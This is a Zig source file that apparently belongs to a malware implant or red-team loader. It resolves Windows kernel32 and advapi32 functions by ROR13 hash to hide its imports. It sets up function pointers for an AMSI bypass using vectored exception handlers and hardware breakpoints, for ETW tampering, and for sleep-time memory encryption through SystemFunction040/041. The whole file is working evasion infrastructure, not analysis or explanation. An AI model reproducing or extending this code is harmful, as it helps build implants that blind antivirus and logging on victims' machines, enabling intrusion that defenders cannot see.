const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const apitypes = @import("apitypes.zig");

pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW;
pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress;
pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler;
pub const T_amsi_RemoveVectoredExceptionHandler = apitypes.T_amsi_RemoveVectoredExceptionHandler;
pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread;
pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext;
pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread;
pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread;
pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress;
pub const hash_ror13 = apitypes.hash_ror13;
pub const resolve_api = apitypes.resolve_api;
pub const get_module_by_hash = apitypes.get_module_by_hash;
pub const get_func_by_hash = apitypes.get_func_by_hash;
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;

pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;

pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;

pub var amsi_load_library_w: ?T_amsi_LoadLibraryW = null;
pub var amsi_get_proc_address: ?T_amsi_GetProcAddress = null;
pub var amsi_add_vectored_exception_handler: ?T_amsi_AddVectoredExceptionHandler = null;
pub var amsi_remove_vectored_exception_handler: ?T_amsi_RemoveVectoredExceptionHandler = null;
pub var amsi_get_current_thread: ?T_amsi_GetCurrentThread = null;
pub var amsi_set_thread_context: ?T_amsi_SetThreadContext = null;
pub var amsi_suspend_thread: ?T_amsi_SuspendThread = null;
pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;

pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;

pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;

var g_ensure_done: bool = false;

pub fn ensure() void {
    if (g_ensure_done) return;
    g_ensure_done = true;

    const k32_hash = hash_ror13("kernel32.dll");

    if (comms_load_library_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
            comms_load_library_a = @ptrCast(p);
        }
    }

    if (amsi_load_library_w == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
    }

    if (amsi_get_proc_address == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
            amsi_get_proc_address = @ptrCast(p);
            etw_get_proc_address = @ptrCast(p);
        }
    }

    if (amsi_add_vectored_exception_handler == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
    }
    if (amsi_remove_vectored_exception_handler == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
    }
    if (amsi_get_current_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
    }
    if (amsi_set_thread_context == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
    }
    if (amsi_suspend_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
    }
    if (amsi_resume_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
    }

    if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
    if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
    if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;

    if (sleep_SystemFunction040 == null) {
        const advapi_hash = hash_ror13("advapi32.dll");
        _ = resolve.get_module_by_hash(advapi_hash);
        if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
        if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
    }
}
